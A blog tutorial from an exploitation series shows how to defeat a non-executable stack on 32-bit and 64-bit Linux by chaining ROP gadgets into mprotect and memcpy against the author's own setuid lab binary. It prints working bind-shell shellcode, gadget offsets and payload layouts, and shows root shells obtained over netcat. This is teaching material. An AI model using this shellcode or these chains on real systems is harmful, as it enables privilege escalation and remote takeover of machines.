Make Stack Executable again



Welcome back guys. So far we have learned how to bypass non-executable stack by returning to libc in our last article and also how we could brute-force ASLR. We didn't need to execute a shellcode and we could just return to gadgets and functions in libc by properly arranging the stack for it. But this way we were just limited to the gadgets and functions we could find in libc. If you haven't read previous articles then you must read them first or you might just feel lost here. Now what if we want to do some more complex stuff like having a bind/reverse tcp shell, or just anything else. Clearly trying to find all and chaining them will be tiresome and many time you might not even find proper gadgets. Still being able to execute a shellcode of our choice will be awesome. But for that we need shellcode in executable area in memory and currently we just control the stack which is non-executable. We need to figure out a way to somehow


But how ?

The 'mmap()' and 'mprotect()' function

Let's first do strace of a program to trace system calls and signals.
virtual@mecha:~$ strace ./buf aaa
execve("./buf", ["./buf", "aaa"], [/* 47 vars */]) = 0
strace: [ Process PID=1772 runs in 32 bit mode. ]
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
brk(NULL) = 0x56558000
fcntl64(0, F_GETFD) = 0
fcntl64(1, F_GETFD) = 0
fcntl64(2, F_GETFD) = 0
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7fd0000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=90654, ...}) = 0
mmap2(NULL, 90654, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf7fb9000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib32/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\213\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1902536, ...}) = 0
mmap2(NULL, 1911324, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xf7de6000
mprotect(0xf7fb2000, 4096, PROT_NONE) = 0
mmap2(0xf7fb3000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1cc000) = 0xf7fb3000
mmap2(0xf7fb6000, 10780, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf7fb6000
close(3) = 0
set_thread_area({entry_number:-1, base_addr:0xf7fd10c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:12)
mprotect(0xf7fb3000, 8192, PROT_READ) = 0
mprotect(0x56556000, 4096, PROT_READ) = 0
mprotect(0xf7ffc000, 4096, PROT_READ) = 0
munmap(0xf7fb9000, 90654) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
brk(NULL) = 0x56558000
brk(0x56579000) = 0x56579000
brk(0x5657a000) = 0x5657a000
write(1, "Input was: aaa\n", 15Input was: aaa
) = 15
exit_group(0) = ?
+++ exited with 0 +++
What are mmap and mprotect doing here ? Man page of mmap says
mmap, munmap - map or unmap files or devices into memory

SYNOPSIS
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

DESCRIPTION
mmap() creates a new mapping in the virtual address space of the calling process.
Read more in the man page yourself first. So mmap takes 6 arguments and creates a new maping in the virtual address space at specific address or if address is null the kernel chooses the address at nearby page boundary of some length with memory permissions (read | write | execute | none), flag descriptor and offset. Also one thing to note from man page about offset is 'offset must be a multiple of the page size as returned by sysconf(_SC_PAGE_SIZE).' More on memory pages later. Next we have got is 'mprotect '. Man page of mprotect says
mprotect - set protection on a region of memory

SYNOPSIS
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);

DESCRIPTION
mprotect() changes the access protections for the calling process's 
memory pages containing any part of the address range in the interval
[addr, addr+len-1]. addr must be aligned to a page boundary.
Read more in it's man page yourself. So basically mprotect can be used to change permissions of an area in memory. Thing to note here is address must be aligned to page boundary. What are these pages in memory after all ? According to it's wiki - It is the smallest unit of data for memory management in a virtual memory operating system. Similarly, a page frame is the smallest fixed-length contiguous block of physical memory into which memory pages are mapped by the operating system. Ok. We have found out so far that we can use mmap and mprotect to basically change permissions of a region in memory. Our main problem in executing our shellcode was the stack was rendered non-executable due to NX bit. But if we can now call functions like mprotect or mmap first so that we may be able to make stack executable again and then execute our shellcode. Sounds great. We will use mprotect because it has only 3 arguments whereas mmap requires 6 arguments, so former will be easier. Let's understand working of mprotect first. The following code has been taken from it's man page. I have added few comments to understand it's working. Basically it just first finds the pagesize on your system, then it allocates a buffer aligned on a page boundary and then an area in buffer that is aligned to page boundary is made read only with mprotect function. Trying to write to that area gives segfault. Remember pageboundary will be multiple of pagesize. Compile and run.
virtual@mecha:~$ gcc mprotect.c -m32
virtual@mecha:~$ ./a.out
Pagesize is:  0x1000
Start of region:        0x56559000
Got SIGSEGV at address: 0x5655b000
So my system's pagesize is 0x1000 that is 4096 bytes = 4kB. And memory at address buffer+2*pagesize has been successfully made read only since we got segfault on trying to write there. Let's load it in gdb and see memory. Make breakpoint at mprotect.
gdb-peda$ r
Starting program: /home/virtual/a.out
Pagesize is: 0x1000
Start of region: 0x56559000
[----------------------------------registers-----------------------------------]
EAX: 0x1000
EBX: 0x56556fbc --> 0x1ec4
ECX: 0x2000 ('')
EDX: 0x5655b000 --> 0x0
ESI: 0x1
EDI: 0xf7fb5000 --> 0x1ced70
EBP: 0xffffd2c8 --> 0x0
ESP: 0xffffd200 --> 0x5655b000 --> 0x0
EIP: 0x56555817 (<main+357>: call 0x565554a0 <mprotect@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x56555813 <main+353>: push 0x1
   0x56555815 <main+355>: push eax
   0x56555816 <main+356>: push edx
=> 0x56555817 <main+357>: call 0x565554a0 <mprotect@plt>
   0x5655581c <main+362>: add esp,0x10
   0x5655581f <main+365>: cmp eax,0xffffffff
   0x56555822 <main+368>: jne 0x56555840 <main+398>
   0x56555824 <main+370>: sub esp,0xc
Guessed arguments:
arg[0]: 0x5655b000 --> 0x0     <==Address
arg[1]: 0x1000                 <==Size
arg[2]: 0x1                    <==Permission(read)
[------------------------------------stack-------------------------------------]
0000| 0xffffd200 --> 0x5655b000 --> 0x0
0004| 0xffffd204 --> 0x1000
0008| 0xffffd208 --> 0x1
0012| 0xffffd20c --> 0x565556cc (<main+26>: add ebx,0x18f0)
0016| 0xffffd210 --> 0xf7fd51a0 (add DWORD PTR [eax],eax)
0020| 0xffffd214 --> 0xf7ffdc10 --> 0xf7fd5000 (jg 0xf7fd5047)
0024| 0xffffd218 --> 0xf7e7ee29 (add esi,0x1361d7)
0028| 0xffffd21c --> 0xffffd374 --> 0xffffd510 ("/home/virtual/a.out")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x56555817 in main ()
You can see since this is 32 bit, so  mprotect takes 3 arguments from top of stack. First is address of memory we want to change protections of, then size and third is 0x1 which stands for read only. Multiple permissions can be passed by bitwise ORing. Example PROT_READ | PROT_WRITE | PROT_EXEC will be 0x7. It's just like we do chmod 777 for read,write and execute 0x5 for just read and exec. Now below's the memory mappings before mprotect call.
gdb-peda$ vmmap
Start      End        Perm Name
0x56555000 0x56556000 r-xp /home/virtual/a.out
0x56556000 0x56557000 r--p /home/virtual/a.out
0x56557000 0x56558000 rw-p /home/virtual/a.out
0x56558000 0x5657a000 rw-p [heap]
0xf7de6000 0xf7fb2000 r-xp /lib32/libc-2.26.so
0xf7fb2000 0xf7fb3000 ---p /lib32/libc-2.26.so
0xf7fb3000 0xf7fb5000 r--p /lib32/libc-2.26.so
0xf7fb5000 0xf7fb6000 rw-p /lib32/libc-2.26.so
0xf7fb6000 0xf7fb9000 rw-p mapped
0xf7fd0000 0xf7fd2000 rw-p mapped
0xf7fd2000 0xf7fd5000 r--p [vvar]
0xf7fd5000 0xf7fd7000 r-xp [vdso]
0xf7fd7000 0xf7ffc000 r-xp /lib32/ld-2.26.so
0xf7ffc000 0xf7ffd000 r--p /lib32/ld-2.26.so
0xf7ffd000 0xf7ffe000 rw-p /lib32/ld-2.26.so
0xfffdd000 0xffffe000 rw-p [stack]
And here's after mprotect.
gdb-peda$ vmmap
Start      End        Perm Name
0x56555000 0x56556000 r-xp /home/virtual/a.out
0x56556000 0x56557000 r--p /home/virtual/a.out
0x56557000 0x56558000 rw-p /home/virtual/a.out
0x56558000 0x5655b000 rw-p [heap]
0x5655b000 0x5655c000 r--p [heap]    <==has been made read only
0x5655c000 0x5657a000 rw-p [heap]
0xf7de6000 0xf7fb2000 r-xp /lib32/libc-2.26.so
0xf7fb2000 0xf7fb3000 ---p /lib32/libc-2.26.so
0xf7fb3000 0xf7fb5000 r--p /lib32/libc-2.26.so
0xf7fb5000 0xf7fb6000 rw-p /lib32/libc-2.26.so
0xf7fb6000 0xf7fb9000 rw-p mapped
0xf7fd0000 0xf7fd2000 rw-p mapped
0xf7fd2000 0xf7fd5000 r--p [vvar]
0xf7fd5000 0xf7fd7000 r-xp [vdso]
0xf7fd7000 0xf7ffc000 r-xp /lib32/ld-2.26.so
0xf7ffc000 0xf7ffd000 r--p /lib32/ld-2.26.so
0xf7ffd000 0xf7ffe000 rw-p /lib32/ld-2.26.so
0xfffdd000 0xffffe000 rw-p [stack]
Notice the memory region is multiple of pagesize and hence aligned to page boundary. Great. We learned how mprotect works and now we can use it to make our stack executable so that we can execute shellcode. My advice here is to stop reading the article now and try to make stack executable and execute shellcode yourself by changing control flow. If you face problems then refer the article.

Making the stack executable

Tried already ? No seriously try it first. It's fun. Ok , let's see how we can do it. Here's our vulnerable program. Well the same simple code. Compile it in 32 bit mode without stack canary.
virtual@mecha:~$ gcc -m32 buf.c -o buf -fno-stack-protector
virtual@mecha:~$ sudo chown root buf
virtual@mecha:~$ sudo chmod +s buf
virtual@mecha:~$ gdb buf -q
Reading symbols from buf...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL
NX bit is enabled. My goal here is to execute a shellcode which starts a bind tcp listener on port 31337 which will give me a remote shell. First thing is to find out offset to return instruction and also ecx since this is modern 32 bit linux, my gcc compiler sets esp = [ecx-0x4]. We have found out in previous part that offset to ecx is 100 bytes. So that part is pretty much the same. Only thing change is we are filling up stack with our shellcode first. You can fill shellcode in the buffer or environment variable or after the rop chain anywhere you like. Just find it's address so that you can jump to it at last. Here's a 96 bytes shellcode from here. It execute setuid(0), binds to port 31337 and executes /bin/sh.
shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xf7"
shellcode+= "\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b"
shellcode+= "\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66"
shellcode+= "\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0"
shellcode+= "\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50"
shellcode+= "\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89"
shellcode+= "\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68"
shellcode+= "n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b"
shellcode+= "\xcd\x80"
First 108 bytes of payload is
payload = shellcode + ecx + pad
Next will be return address. We want to return to mprotect with proper parameters. First is address of region. My stack starts at 0xfffdd000. Since the addresses must be aligned to page boundary we have to choose addresses like 0xfffdd000, 0xfffde000, 0xfffdf000 , 0xfffe0000,etc. Just keep adding pagesize i.e. 0x1000. But problem here is they have last byte as a nullbyte. And our strcpy function won't take that. One simple workaround I found here was that though the arguments to mprotect function are passed from stack but if you step into mprotect function you will see this
[----------------------------------registers-----------------------------------]
EAX: 0x1000 
EBX: 0x56556fbc --> 0x1ec4 
ECX: 0x1000 
EDX: 0x1 
ESI: 0x1 
EDI: 0xf7fb5000 --> 0x1ced70 
EBP: 0xffffd2c8 --> 0x0 
ESP: 0xffffd1f8 --> 0x56556fbc --> 0x1ec4 
EIP: 0xf7ed6769 (<mprotect+9>: mov ebx,DWORD PTR [esp+0x8])
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7ed6760 <mprotect>:    push ebx
   0xf7ed6761 <mprotect+1>:  mov edx,DWORD PTR [esp+0x10]
   0xf7ed6765 <mprotect+5>:  mov ecx,DWORD PTR [esp+0xc]
=> 0xf7ed6769 <mprotect+9>:  mov ebx,DWORD PTR [esp+0x8]
   0xf7ed676d <mprotect+13>: mov eax,0x7d
   0xf7ed6772 <mprotect+18>: call DWORD PTR gs:0x10
   0xf7ed6779 <mprotect+25>: pop ebx
   0xf7ed677a <mprotect+26>: cmp eax,0xfffff001
[------------------------------------stack-------------------------------------]
0000| 0xffffd1f8 --> 0x56556fbc --> 0x1ec4 
0004| 0xffffd1fc --> 0x5655581c (<main+362>: add esp,0x10)
0008| 0xffffd200 --> 0x5655b000 --> 0x0 
0012| 0xffffd204 --> 0x1000 
0016| 0xffffd208 --> 0x1 
0020| 0xffffd20c --> 0x565556cc (<main+26>: add ebx,0x18f0)
0024| 0xffffd210 --> 0xf7fd51a0 (add DWORD PTR [eax],eax)
0028| 0xffffd214 --> 0xf7ffdc10 --> 0xf7fd5000 (jg 0xf7fd5047)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf7ed6769 in mprotect () from /lib32/libc.so.6
All the 3 arguments from top of stack are actually moved to ebx, ecx and edx registers respectively. So what I am gonna do is let's say I want 0xfffdd000 as my address. I will load it on stack from my input as 0xfffdd001, so we don't have null byte now. Then pop it to ebx register and find a rop gadget to dec ebx;ret so it becomes 0xfffdd000. Same we can do with argument for permissions, we want that to be 0x00000007 (read|write|execute). If we pop 0xffffffff to edx and then inc edx;ret, now edx will become 0x00000000 and incrementing it 8 times will give us 0x00000007. And about the argument for size, actually we can keep any value for it. So I will just keep ecx=0x01010101to avoid null bytes. And then we will return to mprotect+13. Let's find the unknowns in libc.
virtual@mecha:~$ readelf -a /lib/x86_64-linux-gnu/libc.so.6 | grep mprotect
  1182: 000000000010ed40    33 FUNC    WEAK   DEFAULT   13 mprotect@@GLIBC_2.2.5
  1879: 000000000010ed40    33 FUNC    GLOBAL DEFAULT   13 __mprotect@@GLIBC_PRIVATE
And I used  ROPgadget and ropper to find gadgets. They can be used to find and make ROP chains.
0x00101b41 : pop edx ; pop ecx ; pop ebx ; ret
0x0018a40e : dec ebx ; ret
0x0002b8e1 : inc edx ; ret
Here's what the payload looks like so far.
payload = shellcode + ecx + pad
payload+= pop_edx_ecx_ebx + permission + size + stack_addr
payload+= dec_ebx + inc_edx*8
payload+= mprotect + pad + ret_to_stack       #padding here because of some leftovers by mprotect
Set breakpoints and run it. Check if you hit the addresses right. The ret_to_stack will be the address of shellcode on stack. Keep stepping through each instruction to see what's actually happening. If you still didn't get it, here's what stack layout should look like.


And here's my code for the exploit. Time to test it.
virtual@mecha:~$ ./buf `python mprotect.py`
Input was: ����1�1۰ ̀1����fSCSCS��K̀��RfhziCfS��� PQW���f̀�f� ̀PPW��C�f̀�ىð?ÌA��Qhn/shh//bi��QS���
             \���BBBBA{������     ��� ��� ��� ��� ��� ��� ��� ��� ��� ��mg��BBBB����
Here's the memory mapping before executing mprotect.
gdb-peda$ vmmap
Start      End        Perm Name
0x56555000 0x56556000 r-xp /home/virtual/buf
0x56556000 0x56557000 r--p /home/virtual/buf
0x56557000 0x56558000 rw-p /home/virtual/buf
0x56558000 0x5657a000 rw-p [heap]
0xf7de6000 0xf7fb2000 r-xp /lib32/libc-2.26.so
0xf7fb2000 0xf7fb3000 ---p /lib32/libc-2.26.so
0xf7fb3000 0xf7fb5000 r--p /lib32/libc-2.26.so
0xf7fb5000 0xf7fb6000 rw-p /lib32/libc-2.26.so
0xf7fb6000 0xf7fb9000 rw-p mapped
0xf7fd0000 0xf7fd2000 rw-p mapped
0xf7fd2000 0xf7fd5000 r--p [vvar]
0xf7fd5000 0xf7fd7000 r-xp [vdso]
0xf7fd7000 0xf7ffc000 r-xp /lib32/ld-2.26.so
0xf7ffc000 0xf7ffd000 r--p /lib32/ld-2.26.so
0xf7ffd000 0xf7ffe000 rw-p /lib32/ld-2.26.so
0xfffdd000 0xffffe000 rw-p [stack]
And here's after mprotect.
gdb-peda$ vmmap
Start      End        Perm Name
0x56555000 0x56556000 r-xp /home/virtual/buf
0x56556000 0x56557000 r--p /home/virtual/buf
0x56557000 0x56558000 rw-p /home/virtual/buf
0x56558000 0x5657a000 rw-p [heap]
0xf7de6000 0xf7fb2000 r-xp /lib32/libc-2.26.so
0xf7fb2000 0xf7fb3000 ---p /lib32/libc-2.26.so
0xf7fb3000 0xf7fb5000 r--p /lib32/libc-2.26.so
0xf7fb5000 0xf7fb6000 rw-p /lib32/libc-2.26.so
0xf7fb6000 0xf7fb9000 rw-p mapped
0xf7fd0000 0xf7fd2000 rw-p mapped
0xf7fd2000 0xf7fd5000 r--p [vvar]
0xf7fd5000 0xf7fd7000 r-xp [vdso]
0xf7fd7000 0xf7ffc000 r-xp /lib32/ld-2.26.so
0xf7ffc000 0xf7ffd000 r--p /lib32/ld-2.26.so
0xf7ffd000 0xf7ffe000 rw-p /lib32/ld-2.26.so
0xfffdd000 0xffffe000 rwxp [stack]
Yeah, stack has now rwx permissions. Continue, you won't see any output. Let's check the network ports on machine.
virtual@mecha:~$ netstat -lnp | grep 31337
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:31337           0.0.0.0:*               LISTEN      -
Great some process running as root is listening on port 31337. Connect with netcat or whatever you like to port 31337. This can be accessed from any device in network with ip of target server.
user@attacker:~$ nc 192.168.43.81 31337 -v
Connection to 192.168.43.81 31337 port [tcp/*] succeeded!
whoami
root
python -c "import pty;pty.spawn('/bin/bash')"
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@mecha:/home/virtual# id
id
uid=0(root) gid=1000(virtual) groups=1000(virtual),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(lpadmin),128(sambashare)
root@mecha:/home/virtual#
And boom. We have a root shell on server on tcp port 31337. We successfully redirected the control flow of program and started a listener on a port. This can be useful too in case of programs you can't get direct shell from. Now there's a small problem for some systems here. Some systems use Write XOR Execute policy whereby every page in a process's or kernel's address space may be either writable or executable, but not both. Read more on it here. But we wanted stack to be execuable and it must be readable and writable also to execute instructions. So we can't keep the stack permissions rwx now. Can you think of some workaround ? May be we can copy our shellcode to different area in memory other than stack and make that executable. That will be fine. Let's try that on 64 bit this time.

Make shellcode executable on 64 bit

This time we want our shellcode to be in different area of memory which is first writable and then we will make it executable after writing shellcode and stack will be writable. But we just control stack. We need to first call a function which will copy the shellcode from stack to different area in memory. I will use 'memcpy' function.
memcpy - copy memory area

SYNOPSIS
       #include <string.h>

       void *memcpy(void *dest, const void *src, size_t n);

DESCRIPTION
       The memcpy() function copies n bytes from memory area src to memory area dest.
So it takes 3 arguments - destination, source and size/length to copy. Remember this is 64 bit arguments to the functions need to be passed from registers. The first is placed in rdi, the second in rsi, the third in rdx, and then rcx, r8 and r9. Only the 7th argument and onwards are passed on the stack. Source for memcpy will ofcourse be address of shellcode that is the start of buffer goes into rsi. Destination we will choose from memory mappings goes into rdi and size will be length of shellcode goes into rdx. Here's our vulnerable program. Since it's read function we don't need to worry about null bytes. Compile and setuid bit on it. We already found out last time the offset to ret is 120 bytes. Here are the memory mappings.
gdb-peda$ vmmap
Start              End                Perm Name
0x0000555555554000 0x0000555555555000 r-xp /home/virtual/suid64
0x0000555555754000 0x0000555555755000 r--p /home/virtual/suid64
0x0000555555755000 0x0000555555756000 rw-p /home/virtual/suid64
0x0000555555756000 0x0000555555777000 rw-p [heap]
0x00007ffff79f5000 0x00007ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7bcb000 0x00007ffff7dcb000 ---p /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcb000 0x00007ffff7dcf000 r--p /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p mapped
0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so
0x00007ffff7fde000 0x00007ffff7fe0000 rw-p mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.26.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.26.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
Choose any writable region which won't be used by the process so that it won't be corrupted or crashed. I am choosing 0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p mapped. Found the gadgets in libc.
0x0123189: pop rdx; pop rsi; ret;
0x0020b8b: pop rdi; ret;
virtual@mecha:~$ readelf -a /lib/x86_64-linux-gnu/libc.so.6 | grep mprotect
  1182: 000000000010ed40    33 FUNC    WEAK   DEFAULT   13 mprotect@@GLIBC_2.2.5
  1879: 000000000010ed40    33 FUNC    GLOBAL DEFAULT   13 __mprotect@@GLIBC_PRIVATE
virtual@mecha:~$ readelf -a /lib/x86_64-linux-gnu/libc.so.6 | grep memcpy
   342: 00000000000b4290     9 FUNC    WEAK   DEFAULT   13 wmemcpy@@GLIBC_2.2.5
  1035: 0000000000125e10    25 FUNC    GLOBAL DEFAULT   13 __wmemcpy_chk@@GLIBC_2.4
  1155: 00000000000953c0   194 IFUNC   GLOBAL DEFAULT   13 memcpy@@GLIBC_2.14
  1157: 00000000000b2290    40 FUNC    GLOBAL DEFAULT   13 memcpy@GLIBC_2.2.5
  1673: 00000000001243c0   194 IFUNC   GLOBAL DEFAULT   13 __memcpy_chk@@GLIBC_2.3.4
virtual@mecha:~$ readelf -a /lib/x86_64-linux-gnu/libc.so.6 | grep setuid
    22: 00000000000d9b50   144 FUNC    WEAK   DEFAULT   13 setuid@@GLIBC_2.2.5
Here's the shellcode for 64 bit which starts a listener on port 5600 and executes /bin/sh from here.
shellcode = "\xc6\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66"
shellcode+= "\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x10"
shellcode+= "\x5a\x6a\x31\x58\x0f\x05\x50\x5e\x6a\x32\x58"
shellcode+= "\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03"
shellcode+= "\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x31"
shellcode+= "\xc0\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73"
shellcode+= "\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05"
We will also first return to setuid funtion to execute setuid(0) and gain root as modern shells drop privileges. Here's the payload so far.
payload = shellcode + pad
payload+= pop_rdi + dest                      #pop destination to rdi
payload+= pop_rdx_rsi + scode_size + source   #pop length and source address to rdx and rsi
payload+= memcpy                              #return to memcpy funtion
payload+= pop_rdi + dest                      #pop destination to rdi
payload+= pop_rdx_rsi + perm + pagesize       #pop permission(0x5-read|execute) and size to rdx and rsi
payload+= mprotect                            #mprotect function
payload+= pop_rdi + null + setuid             #pop 0x0 to rdi for setuid(0);
payload+= dest                                #finally return to executable shellcode
And here's the stack layout diagram.


And finally here goes the exploit code. We will pipe the payload into binary since it takes input from prompt. Run it.
virtual@mecha:~$ python restack64.py | ./suid64 
Enter input: Input was : ��������������������������H1�H1��j)X��j _H�j f�D$  �T^Rj Zj1XP^j2Xj+XH�j ^�ΰ!u�H1��H�/bin//shST_j;XBBBBBBBB�[���
You can see the our destination memory is now executable in process maps and has shellcode in it. Also no two regions are write and executable both.
gdb-peda$ vmmap
Start              End                Perm Name
0x0000555555554000 0x0000555555555000 r-xp /home/virtual/suid64
0x0000555555754000 0x0000555555755000 r--p /home/virtual/suid64
0x0000555555755000 0x0000555555756000 rw-p /home/virtual/suid64
0x0000555555756000 0x0000555555777000 rw-p [heap]
0x00007ffff79f5000 0x00007ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7bcb000 0x00007ffff7dcb000 ---p /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcb000 0x00007ffff7dcf000 r--p /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dd1000 0x00007ffff7dd2000 r-xp mapped
0x00007ffff7dd2000 0x00007ffff7dd5000 rw-p mapped
0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so
0x00007ffff7fde000 0x00007ffff7fe0000 rw-p mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.26.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.26.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
gdb-peda$ x/16x 0x00007ffff7dd1000
0x7ffff7dd1000 <initial+704>: 0x9090909090909090 0x9090909090909090
0x7ffff7dd1010 <initial+720>: 0x9090909090909090 0xf63148c031489090
0x7ffff7dd1020 <initial+736>: 0x026ac6ff58296a99 0x66026a9748050f5f
0x7ffff7dd1030 <initial+752>: 0x5e54e015022444c7 0x0f58316a5a106a52
0x7ffff7dd1040 <initial+768>: 0x050f58326a5e5005 0x6a9748050f582b6a
0x7ffff7dd1050 <initial+784>: 0x050f21b0ceff5e03 0xbb4899c03148f875
0x7ffff7dd1060 <initial+800>: 0x68732f2f6e69622f 0x050f583b6a5f5453
0x7ffff7dd1070 <initial+816>: 0x0000000000000000 0x0000000000000000
Continue and check the network ports.
virtual@mecha:~$ netstat -lnp | grep 5600
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:5600            0.0.0.0:*               LISTEN      -
One service is running on port 5600. Let's connect to it.
virtual@mecha:~$ nc 192.168.43.81 5600 -v
Connection to 192.168.43.81 5600 port [tcp/*] succeeded!
id    
uid=0(root) gid=1000(virtual) groups=1000(virtual),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(lpadmin),128(sambashare)
python -c "import pty; pty.spawn('/bin/bash')"
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@mecha:/home/virtual# whoami
whoami
root
root@mecha:/home/virtual#
Bingo we got a root shell and successfully bypassed W^X policy.

Sum up

So this time we made stack executable again so that we could execute any custom shellcode on 32 bit and 64 bit systems. Also bypassed write XOR execute policy.

Next up

Next we are gonna look on more different types of exploits and also more on making shellcodes coming soon. So stay tuned.

Next Read: Format String Exploits: Defeating Stack Canary, NX and ASLR Remotely on 64 bit

Comments

Popular Posts